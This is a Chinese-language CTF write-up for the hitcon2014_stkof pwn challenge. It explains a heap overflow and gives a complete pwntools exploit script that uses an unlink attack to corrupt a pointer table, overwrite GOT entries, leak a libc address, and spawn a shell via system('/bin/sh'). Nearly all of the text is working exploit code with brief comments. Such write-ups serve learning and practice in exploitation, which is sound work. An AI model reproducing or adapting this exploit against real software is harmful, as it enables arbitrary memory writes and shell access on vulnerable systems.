初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记
前言
教学和具体过程可以看这个大佬的博客:
buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客
一、题目
fill函数可读大量字符,造成堆溢出。
可以通过unlink进行利用控制:
如果存在区域连续存放结构体指针、存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作等
最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写
二、exp
from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']def fill(index,size,payload):io.sendline(b'2')io.sendline(str(index).encode())io.sendline(str(size).encode())io.send(payload)io.recvuntil(b'OK\n')def free(index):io.sendline(b'3')io.sendline(str(index).encode())def alloc(size):io.sendline(b'1')io.sendline(str(size).encode())cnt=int(io.recvuntil(b'\n',drop=True))io.recvuntil(b'OK\n')success('num of chunk:{}'.format(cnt))initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) alloc(0x80) # free掉的时候触发unlink##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n')
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0) #0x602138#0x602140 #0x602148 #0x602150 #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') # 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0) #0x602138#0x602140 #0x602144 对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshellio.interactive()